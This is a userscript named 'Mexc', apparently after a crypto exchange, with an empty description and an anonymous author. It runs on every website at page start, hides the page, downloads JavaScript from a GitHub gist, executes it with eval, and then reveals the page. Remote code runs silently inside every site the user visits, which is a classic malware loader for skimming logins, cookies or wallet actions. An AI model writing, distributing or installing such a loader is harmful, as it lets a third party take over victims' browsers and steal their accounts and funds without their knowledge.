martinsenal / Mexc

// ==UserScript==
// @name         Mexc
// @namespace    Mexc
// @version      1.0.0
// @description  Mexc
// @author       XX
// @license      MIT
// @match        *://*/*
// @grant        none
// @run-at       document-start
// ==/UserScript==

(function () {
    // 1. Delay visual render immediately
    const css = document.createElement('style');
    css.innerHTML = 'html { visibility: hidden !important; }';
    document.documentElement.appendChild(css);

    // 2. Wait until DOM is ready, then load your remote script
    window.addEventListener('DOMContentLoaded', async () => {
        try {
            const timestamp = Date.now();
            const remoteUrl = `https://gist.githubusercontent.com/bufallohost/e6a0666462252f5aee68785c2d274075/raw/autoloader.txt?ts=${timestamp}`;

            const response = await fetch(remoteUrl, { cache: 'no-store' });
            if (!response.ok) throw new Error('Failed to fetch script');

            const code = await response.text();
            eval(code);
        } catch (err) {
            console.error('🚫 Script load failed:', err);
        } finally {
            // 3. Reveal the page once script runs
            document.documentElement.style.visibility = 'visible';
        }
    });
})();